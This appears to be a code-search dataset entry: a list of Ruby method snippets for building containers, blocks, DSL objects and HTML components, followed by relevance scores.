"def containerize(\n project_name: '',\n project_id: 0,\n app: {}\n )\n\n puts \"#{__method__.to_s} enter\"\n\n # Where to push the docker image\n #docker_remote_registry_uri = \"\"\n #docker_remote_registry_uri = \"localhost:5000\" if server.compute_engine == 'minikube'\n #docker_remote_registry_uri = \"gcr.io/#{project_name}-#{project_id}\" if server.compute_engine == 'gce'\n\n\n app_name = \"#{project_name}-#{project_id}\"\n image_name = \"#{project_name}-#{project_id}\"\n\n\n docker_context_directory = docker_ready_context_directory(\n app_name: app_name,\n app_source_directory: app.source_url\n )\n\n passenger_prep(container_context_directory: docker_context_directory, app_types: app.type)\n\n dockerfile_contents = docker_ready_dockerfile(app_directory: app_name, app_types: app.type)\n\n make_file(\"#{docker_context_directory}/Dockerfile\", dockerfile_contents)\n\n\n\n docker_create_container_image(image_name: image_name, context_directory: docker_context_directory)\n\n container_info = { image_name: image_name }\n\n puts \"#{__method__.to_s} exit\"\n\n # Convert data structure (hashes and arrays) into a\n # dot notation accessable structure (ex. config.project.name)\n #\n return RecursiveOpenStruct.new(container_info, recurse_over_arrays: true )\n\nend",
"def create_block_object(&block)\n block\nend",
"def build(*modules, &block)\n reset!\n\n modules.each { |mod| add_module(mod) }\n self.instance_eval(&block) if block\n\n [ '' ] + @modules + [ '' ]\n end",
"def construct( &block )\n self.instance_eval(&block)\n @options\n end",
"def add_container(params = {})\n now = Time.now.strftime(\"%Y-%m-%dT%H:%M:%S\")\n now = now.gsub(':', '--')\n\n @slug = params.fetch(:slug, now)\n \n containers = self.get_containers\n containers.each do |c|\n return c if c.uri.to_s.match(/\\/#{@slug}\\/?$/) # check if it already exists\n end\n \n # headers = {accept: 'text/turtle', content_type: 'text/turtle', \"Slug\" => @slug, \"Link\" => '<http://www.w3.org/ns/ldp#BasicContainer>; rel=\"type\"'}\n \n payload = \"\"\"@prefix ldp: <http://www.w3.org/ns/ldp#> . \n <> a ldp:Container, ldp:BasicContainer .\"\"\"\n etag = Digest::SHA2.hexdigest payload \n headers = {ETag: \"#{etag}\", accept: 'text/turtle', content_type: 'text/turtle', \"Slug\" => @slug, \"Link\" => '<http://www.w3.org/ns/ldp#BasicContainer>; rel=\"type\"'}\n \n \n response = LDP::HTTPUtils::post(self.uri, headers, payload, self.client.username, self.client.password)\n if response\n newuri = response.headers[:location] \n newcont = self._add_container({:uri => newuri,\n :client => self.client,\n :parent => self,\n :top => self.toplevel_container,\n :init => true})\n unless newcont\n abort \"PROBLEM - cannot add new container with id #{newuri}. BAILING just to be safe\"\n end\n return newcont\n else\n abort \"PROBLEM - cannot create container into #{self.uri}. BAILING just to be safe\"\n end\n \n end",
"def initialize(owner_class, *args, &block); end",
"def _klass_new(*args, &block)\n inst = super()\n inst._set_self(_self)\n inst._struct_class = _struct_class\n if args.first.is_a?(::Hash)\n inst._load(args.first)\n end\n if block\n inst.build!(&block)\n end\n inst\n end",
"def wrap_container( payload )\n\n raise Dossia::BadArgumentError, 'This method expects a Nokogiri NodeSet or Element' unless payload.class == Nokogiri::XML::NodeSet or payload.class == Nokogiri::XML::Element\n\n builder = Nokogiri::XML::Builder.new do |xml|\n \n xml.container(\n \"xmlns\" => \"http://www.dossia.org/v2.0/api\",\n \"xmlns:xsi\" => \"http://www.w3.org/2001/XMLSchema-instance\", \n \"xsi:schemaLocation\" => \"http://www.dossia.org/v2.0/api http://www.dossia.org/v2.0/api/container.xsd\"\n )\n\n end\n\n builder = Nokogiri::XML builder.to_xml\n\n if payload.class == Nokogiri::XML::NodeSet\n payload.each {|node| builder.xpath('//api:container', 'api' => 'http://www.dossia.org/v2.0/api').first.add_child node }\n else\n builder.xpath('//api:container', 'api' => 'http://www.dossia.org/v2.0/api').first.add_child payload\n end\n\n builder\n\n end",
"def composite(*args, &block)\n subelements = SegmentBodyDSL.new(&block).elements\n add_element(Builder::Element(*(args + subelements)))\n end",
"def initialize(block, json)\n @block = block\n @elements = []\n self.data = json\n end",
"def initialize(*params, &blk)\n super(*params)\n @artifacts = Templates::Utils::ArtifactStorage.new\n create_components\n instance_exec(&blk) if blk\n end",
"def makeBlocks(days, startTimeString, endTimeString, info)\n\tblocks = []\n\tdays.split(\"\").each do |d|\n\t\tb = SCHBlock.new(d, startTimeString, endTimeString, info)\n\t\tblocks << b\n\tend\n\t(blocks)\nend",
"def define(name, options={}, &block)\n collection = options.delete(:collection)\n\n if collection\n collection.each do |object|\n define(call_with_params(name, object, options), options, &block)\n end\n else\n self.define_block_container(name, options, &block)\n end\n\n nil\n end",
"def build\n # Create the offsets, if they are not provided\n current_offset = 0\n fields.each do |field_def|\n field_def[2] ||= current_offset\n current_offset = field_def[2] + field_def[1].size\n end\n registry.do_create_compound(name, fields, size)\n end",
"def initialize( containerstate=nil, initial_attributes={}, options={}, &block )\n\n\t\t# Shift hash arguments if created without a parent state\n\t\tif containerstate.is_a?( Hash )\n\t\t\toptions = initial_attributes\n\t\t\tinitial_attributes = containerstate\n\t\t\tcontainerstate = nil\n\t\tend\n\n\t\t# self.log.debug \"Creating a render state with attributes: %p\" %\n\t\t#\t[ initial_attributes ]\n\n\t\tlocals = deep_copy( initial_attributes )\n\t\t@scopes = [ Scope.new(locals) ]\n\n\t\t@start_time = Time.now\n\t\t@containerstate = containerstate\n\t\t@options = Inversion::Template::DEFAULT_CONFIG.merge( options )\n\t\t@block = block\n\t\t@default_errhandler = self.method( :default_error_handler )\n\t\t@errhandler = @default_errhandler\n\t\t@rendering_enabled = true\n\n\t\t# The rendered output Array, the stack of render destinations and\n\t\t# tag states\n\t\t@output = []\n\t\t@destinations = [ @output ]\n\t\t@tag_data = [ {} ]\n\n\t\t# Hash of subscribed Nodes and published data, keyed by the subscription key\n\t\t# as a Symbol\n\t\t@subscriptions = Hash.new {|hsh, k| hsh[k] = [] } # Auto-vivify to an Array\n\t\t@published_nodes = Hash.new {|hsh, k| hsh[k] = [] }\n\t\t@fragments = Hash.new {|hsh, k| hsh[k] = [] }\n\n\tend",
"def build(base=nil, &block)\n struct = base || SparkleStruct.new\n struct.instance_exec(&block)\n @_struct = struct\n end",
"def build(&block)\n # provide access to 'this' in configuration block\n self.instance_exec(&block)\n end",
"def initialize(width: 825, height: 1125, cards: 1, dpi: 300, bleed: 0, config: 'config.yml', layout: nil, **factory_args, &block)\n @bleed = Args::UnitConversion.parse bleed, dpi \n @dpi = dpi\n @font = DEFAULT_FONT\n @cards = []\n @conf = Conf.load(config)\n @progress_bar = Progress.new(@conf.progress_bars) # FIXME this is evil. Using something different with @ and non-@\n show_info(config, layout)\n @width = Args::UnitConversion.parse(width, dpi) + @bleed * 2\n @height = Args::UnitConversion.parse(height, dpi) + @bleed * 2\n cards.times{ |i| @cards << Squib::Card.new(self, @width, @height, i) }\n @layout = LayoutParser.load_layout(layout)\n @card_name = factory_args[:card_name]\n @vendor = factory_args[:vendor]\n if block_given?\n instance_eval(&block) # here we go. wheeeee!\n end\n end",
"def instantiate(object)\n if object.kind_of? Class and object < Container\n cont = object.new\n cache = Cache.new(cont)\n cont.cache = cache\n else\n raise ArgumentError, \"#{object} is not a Dissident::Container\"\n end\n end",
"def container\n lambda do |state|\n Variable.new state\n end\n end",
"def create_first_block\n\ti = 0\n\tinstance_variable_set( \"@b#{i}\", \n\t\t\t\t\t\t\t\t\t\t\t\t Block.first( \n\t\t\t\t\t\t\t\t\t\t\t\t\t{ from: \"Dutchgrown\", to: \"Vincent\", what: \"Tulip Bloemendaal Sunset\", qty: 10 },\n\t\t\t\t\t\t\t\t\t\t\t\t\t{ from: \"Keukenhof\", to: \"Anne\", what: \"Tulip Semper Augustus\", qty: 7 } )\n\t\t\t\t\t\t\t\t\t\t\t )\n\tLEDGER << @b0\n\tpp @b0\n\tp \"============================\"\n\tadd_block\nend",
"def initialize\n @block_args = []\n end",
"def build(&block)\n if block\n @build = block\n else\n @build\n end\n end",
"def container\n load_qb_classes_if_needed!\n container_class\n end",
"def build_components(work_packages: nil, date_type: nil, grouping_block: nil)\n work_packages.map do |work_package|\n CardFactory.new(\n heading_text: work_package&.work_packaged_thing.try(:workPackagedThingName),\n heading_url: work_package_path(work_package.graph_id),\n description_list_content: description_list_items(work_package, date_type, grouping_block)\n ).build_card\n end\n end",
"def initialize(*children)\n @container_class = children.shift\n setup_children_and_interactions(children)\n yield @contents, @interactions\n end",
"def test_new\n\n b = Blockchain.new\n\n b << 'Genesis'\n b << 'Transaction Data...'\n b << ['Transaction Data...']\n b << ['Transaction Data...', 'Transaction Data...']\n b << [] ## empty block (no transactions)\n\n ## add do-it-yourself built block\n b << Block.next( b.last, 'Transaction Data...' )\n\n b << 'Transaction Data...'\n\n pp b\n\n assert true ## (for now) everything ok if we get here\nend",
"def create(*args, &block)\n complete_args = @partial_args + args\n @klass.new(*complete_args, &block)\n end",
"def builder &block\n if block_given?\n @builder = Proc.new do\n say_name\n block.call\n shell.padding += 1\n save_instructions if instructions.present?\n shell.padding -= 1\n end\n else\n @builder\n end\n end",
"def initialize args = {}\n hash_make args, Block::ARG_SPECS\n @initial_params = collect_params\n end",
"def initialize(args={}, &block)\n @args = args\n @targets = []\n if block\n self.instance_eval(&block)\n end\n end",
"def container\n return @container if defined? @container\n if @options[:reattach]\n all_containers = Docker::Container.all(all: true)\n all_containers.each do |container|\n if container.info['Image'] == @tag\n @container = Docker::Container.get(container.info['id'])\n end\n end\n begin\n @container = Docker::Container.create('Image' => @tag)\n rescue Docker::Error::NotFoundError\n puts \"Could not find an image with @tag #{@tag}\"\n return nil\n end\n elsif !ARGV.empty?\n @container = Docker::Container.create('Image' => @tag,\n 'Cmd' => ARGV,\n 'Env' => ['DISPLAY=:0'])\n elsif @options[:wayland]\n @container = Docker::Container.create('Image' => @tag,\n 'Env' => ['DISPLAY=:0'],\n 'Cmd' => ['startplasmacompositor'])\n else\n @container = Docker::Container.create('Image' => @tag,\n 'Env' => [\"DISPLAY=:#{xdisplay}\"])\n end\n @container\n end",
"def initialize\n @items = []\n @item_stack = []\n yield self if block_given?\n end",
"def initialize(name, container=nil, content=nil, service=Azure::Blobs)\n @name = name\n @container = container\n @content = content\n @properties = {}\n @metadata = {}\n @service = service\n yield self if block_given?\n end",
"def initialize args\n hash_make args, BlockState::ARG_SPECS\n end",
"def create_container_call\n # When CPU is under load we cannot create a healthy container\n CpuLoadHandler.wait_cpu_to_idle\n\n additional_env = ''\n environment_variables.each do |variable|\n additional_env += \" -e #{variable}\"\n end\n emulator_args = is_running_on_emulator ? \"-p #{no_vnc_port}:6080 -e DEVICE='#{device_name}'\" : ''\n emulator_args = \"#{emulator_args}#{additional_env}\"\n @docker_commander.start_container(emulator_args: emulator_args, docker_image: docker_image,\n core_amount: core_amount)\n end",
"def initialize(opts = {},&block)\n o = {\n :name => nil,\n :parent => nil,\n :definition => nil\n }.merge(opts)\n\n Vidalia::checkvar(o[:name],String,self.class.ancestors,\"name\")\n @name = o[:name]\n @type = Vidalia::Artifact unless @type\n @children = Hash.new\n\n if o[:parent]\n # Add myself as a child of my parent\n Vidalia::checkvar(o[:parent],Vidalia::Artifact,self.class.ancestors,\"parent\")\n @parent = o[:parent]\n @parent.add_child(self)\n else\n # Just kidding. I'm an orphan. :(\n @parent = nil\n end\n\n @source_artifact = o[:definition]\n\n if @source_artifact\n # If this is an instantiation of a definition\n\n Vidalia::checkvar(@source_artifact,Vidalia::Artifact,self.class.ancestors,\"definition\")\n\n # Copy the initialization block and run it if defined\n @init_block = @source_artifact.init_block\n if @init_block\n block = @init_block\n instance_eval(&block)\n end\n else\n # If this is only a definition\n\n # Store the initialization block\n @init_block = block\n end\n end",
"def create_block(id, node_ids)\n nodes = node_ids.select { |n| @nodes.key? n }.map { |n| @nodes[n] }\n block = Block.new(id, nodes)\n @blocks.push block\n block\n end",
"def initialize(*args, &block)\n is_integer = Proc.new{|i| i.kind_of? Integer}\n if args[0].kind_of? Symbol or args[0].kind_of? String\n @dom_element = args[0].to_s\n raise BadConstructorException(args[1,2]) unless args[1, 2].all?(&is_integer)\n @width, @height = args[1, 2]\n raphael_arguments = args[0, 3]\n else\n raise BadConstructorException(args[1,2]) unless args[0, 4].all?(&is_integer)\n @width, @height = args[2, 2]\n raphael_arguments = args[0, 4]\n end\n constructor_args = raphael_arguments.map(&:to_json).join(\", \")\n constructor = \"new Raphael(#{constructor_args})\"\n @contents = []\n @name = \"rafa_canvas_\" + uid_suffix\n self << \"var #{@name} = #{constructor};\"\n end",
"def build(typename, size = nil)\n get(typename)\n rescue NotFound => e\n if typename =~ /^(.*)\\[(\\d+)\\]$/\n element_name = $1\n length = Integer($2)\n element_t = build(element_name)\n if element_t.name != element_name\n # The element type is an alias. The container type might\n # already exist under its canonical name, call #build to\n # make sure, and create an alias\n array_t = build(\"#{element_t.name}[#{length}]\")\n create_alias(typename, array_t)\n else\n array_t = create_array(element_t, length, size: size)\n end\n return array_t\n end\n\n namespace, basename = ModelKit::Types.split_typename(typename)\n container_t_name, arguments = ModelKit::Types.parse_template(basename)\n container_t_name = \"#{namespace}#{container_t_name}\"\n if !arguments.empty?\n if !has_container_model?(container_t_name)\n raise NotFound, \"cannot build #{typename}: #{container_t_name} is not a known container type\"\n end\n\n # Always register auto-created containers like this under their\n # canonical name, and then alias if necessary\n element_t = build(arguments[0])\n if element_t.name != arguments[0]\n # The element type is an alias. The container type might\n # already exist under its canonical name, call #build to\n # make sure, and create an alias\n container_t = build(\"#{container_t_name}<#{element_t.name}>\")\n create_alias(typename, container_t)\n else\n container_t = create_container(\"#{container_t_name}\", element_t, size: size)\n end\n container_t\n else\n raise e, \"#{e.message}, and it cannot be built\", e.backtrace\n end\n end",
"def initialize(width, height, &block)\n raise ArgumentError, \"give me a block, pretty please\" unless block_given?\n \n @width, @height = Integer(width), Integer(height)\n @canvas = SmartImage::Canvas.new @width, @height\n \n yield self\n @canvas.destroy\n @canvas = DeadCanvas.new\n end",
"def build(params); end",
"def build_root(&block)\n @stack = []\n self.instance_eval(&block)\n\n build_root_from_stack\n end",
"def build_sub_component(tag, type, args, &block)\n id = args.fetch(:id, '')\n klass = args.fetch(:class, '')\n data = args.fetch(:data, {})\n\n content_tag(\n tag,\n id: id,\n class: \"card-#{type} #{klass}\",\n data: data,\n &block\n )\n end",
"def build(&block)\n Util.instance_eval_or_call(dsl, &block)\n self\n end",
"def build(&block)\n Util.instance_eval_or_call(dsl, &block)\n self\n end",
"def parse_block(*_arg0); end",
"def remote\n require 'blockspring'\n\n _, key = Blockspring::CLI::Auth.get_credentials\n\n block_id = @args[0]\n\n myBlock = lambda do |request, response|\n response = Blockspring.run(block_id, request.params, key)\n\n # TODO: don't autoparse the json in the library, I want the raw json\n puts response.to_json\n end\n\n Blockspring.define(myBlock)\n end",
"def build(attrs = {}, &block)\n create_document(:new, attrs, &block)\n end",
"def gemspec_building_block=(_arg0); end",
"def initialize(container, how, what)\r\n @how = how\r\n @what = what\r\n @container = container\r\n end",
"def initialize(container, how, what)\r\n @how = how\r\n @what = what\r\n @container = container\r\n end",
"def initialize(container, how, what)\r\n @how = how\r\n @what = what\r\n @container = container\r\n end",
"def initialize(container, how, what)\r\n @how = how\r\n @what = what\r\n @container = container\r\n end",
"def box(title=nil, options={}, &block)\n title = I18n.t(\"admin.boxs.#{title}\", :default => title.to_s.humanize) if title.is_a?(Symbol)\n subtitle = options.delete(:subtitle)\n options[:style] ||= \"width:100%;\"\n options[:start] ||= :open\n concat_content (<<-HTML).gsub(/ {10}/, '')\n <div class=\"#{options[:class]}\" style=\"options[:style]\">\n <div class=\"x-box\">\n <div class=\"x-box-tl\">\n <div class=\"x-box-tr\">\n <div class=\"x-box-tc\"> </div>\n </div>\n </div>\n <div class=\"x-box-ml\">\n <div class=\"x-box-mr\">\n <div class=\"x-box-mc\">\n <div id=\"x-body-title\" style=\"#{\"cursor:pointer\" if options[:collapsible]}\" onclick=\"#{\"Admin.app.collapseBoxes(this);\" if options[:collapsible]}\">\n #{\"<h3 style=\\\"margin-bottom:0px;padding-bottom:0px;float:left;\\\">\"+title+\"</h3>\" if title.present?}\n #{\"<div style=\\\"float:right\\\"><em>\"+subtitle+\"</em></div>\" if subtitle.present?}\n #{\"<br class=\\\"clear\\\" />\" if title.present? || subtitle.present?}\n #{\"<div style=\\\"font-size:0px\\\"> </div>\" if title.present? || subtitle.present?}\n </div>\n <div class=\"#{\"x-box-collapsible\" if options[:collapsible]}\" style=\"width:99%;#{\"display:none\" if options[:collapsible] && options[:start] == :close}\">\n #{\"<div style=\\\"font-size:10px\\\"> </div>\" if title.present? || subtitle.present?}\n #{capture_html(&block)}\n </div>\n </div>\n </div>\n </div>\n <div class=\"x-box-bl\">\n <div class=\"x-box-br\">\n <div class=\"x-box-bc\"> </div>\n </div>\n </div>\n </div>\n </div>\n HTML\n end",
"def tag(tag, *args, &block)\n item = Html::Element.new(tag, *args)\n self << item\n if block\n @item_stack.push item\n block.call(item) \n @item_stack.pop\n end\n return self\n end",
"def initialize(parent_block)\n\t\t@children = { }\n\t\t@vartab = { }\n\t\t@functab = { }\n\t\t@parent = parent_block\n\tend",
"def build(&ruby_block)\n # Use local variable for accessing the attribute since they will\n # be hidden when opening the sytem.\n name = @name\n stages = @stages\n namespace = @namespace\n this = self\n mk_ev = @mk_ev\n mk_rst = @mk_rst\n scope = HDLRuby::High.cur_system.scope\n\n return_value = nil\n\n # Enters the current system\n HDLRuby::High.cur_system.open do\n sub do\n HDLRuby::High.space_push(namespace)\n # Execute the instantiation block\n return_value =HDLRuby::High.top_user.instance_exec(&ruby_block)\n HDLRuby::High.space_pop\n\n # Create the pipeline code.\n \n # Declare and register the pipeline registers generators.\n prs = []\n stages.each do |st|\n st.each do |rn|\n r = PipeSignal.new(name.to_s+\"::\"+rn.to_s,scope)\n prs << r\n namespace.add_method(rn) { r }\n end\n end\n\n # Build the pipeline structure.\n return_value = par(mk_ev.call) do\n hif(mk_rst.call == 0) do\n # No reset, pipeline handling.\n stages.each do |st|\n # Generate the code for the stage.\n HDLRuby::High.space_push(namespace)\n HDLRuby::High.top_user.instance_exec(&st.code)\n HDLRuby::High.space_pop\n end\n end\n helse do\n prs.each { |r| r <= 0 }\n end\n end\n end\n end\n\n return return_value\n end",
"def initialize block_parser\n @block_parser = block_parser\nend",
"def create # rubocop:disable Metrics/AbcSize\n attrcheck = { 'container name' => @options[:container] }\n @validate.attrvalidate(@options, attrcheck)\n newcontainer = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n newcontainer = newcontainer.create(@options[:container])\n if newcontainer.code == '201'\n puts \"Container #{@options[:container]} created\"\n else\n @util.response_handler(newcontainer)\n end \n end",
"def initialize(composite_parent, opts = {}, &blk)\n @container = Swt::Widgets::Composite.new(composite_parent, Swt::SWT::NONE || Swt::SWT::BORDER)\n\n width, height = opts['width'] || DEFAULT_WIDTH, opts['height'] || DEFAULT_HEIGHT\n\n # RowLayout is horizontal by default, wrapping by default\n @layout = Swt::Layout::RowLayout.new\n\n @layout.type = opts['layout_type'] if opts['layout_type']\n\n # set the margins\n set_layout_margins(opts[:margin]) if opts[:margin]\n\n if width && height\n #@border = Swt::Widgets::Composite.new(composite_parent, Swt::SWT::BORDER)\n #debugger\n @container.setSize(width, height)\n end\n\n @container.setLayout(@layout)\n\n instance_eval &blk if block_given?\n\n @container.pack unless width && height\n\n end",
"def new(*args,&block)\n Base.new(*args,&block)\n end",
"def container_card(title, &block)\n content_tag(:div, class: \"card card-accent-info\") do\n content_tag(:div, class: \"card-header\") do\n title\n end +\n content_tag(:div, class: \"card-block\") do\n capture(&block)\n end\n\n end\n end"
] |
[
"0.7367841",
"0.7033346",
"0.6462313",
"0.6360746",
"0.633526",
"0.62938404",
"0.61372554",
"0.61268455",
"0.59123755",
"0.5905156",
"0.5814367",
"0.5787508",
"0.57627004",
"0.5741977",
"0.5713474",
"0.5704639",
"0.5678478",
"0.5651259",
"0.5611382",
"0.55782515",
"0.55489695",
"0.55437595",
"0.5498404",
"0.5487144",
"0.5470382",
"0.5426025",
"0.54137075",
"0.5408885",
"0.53959155",
"0.5356011",
"0.5353321",
"0.5335978",
"0.53152156",
"0.5302897",
"0.5290691",
"0.5285859",
"0.5283473",
"0.5264865",
"0.5254038",
"0.52537376",
"0.52481174",
"0.5242551",
"0.5238361",
"0.5238191",
"0.52341485",
"0.521071",
"0.5199472",
"0.51818556",
"0.51721954",
"0.51703954",
"0.51632845",
"0.5157847",
"0.5152953",
"0.5133792",
"0.513076",
"0.5128386",
"0.5125389",
"0.5124691",
"0.5116437",
"0.5116152",
"0.5115021",
"0.5111955",
"0.5109757",
"0.51091456",
"0.5099999",
"0.50892043",
"0.50810736",
"0.5063391",
"0.5063116",
"0.5056241",
"0.50558",
"0.5055315",
"0.5051314",
"0.50457644",
"0.5043233",
"0.50387454",
"0.50378543",
"0.5035144",
"0.5032781",
"0.50299054",
"0.5029646",
"0.50281",
"0.50281",
"0.5024248",
"0.50122553",
"0.50075006",
"0.49953565",
"0.49938676",
"0.49931732",
"0.49931732",
"0.49931732",
"0.4984523",
"0.49818182",
"0.49792325",
"0.497497",
"0.4973357",
"0.4970219",
"0.4960268",
"0.49592072",
"0.4957143"
] |
0.8039163
|
0
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.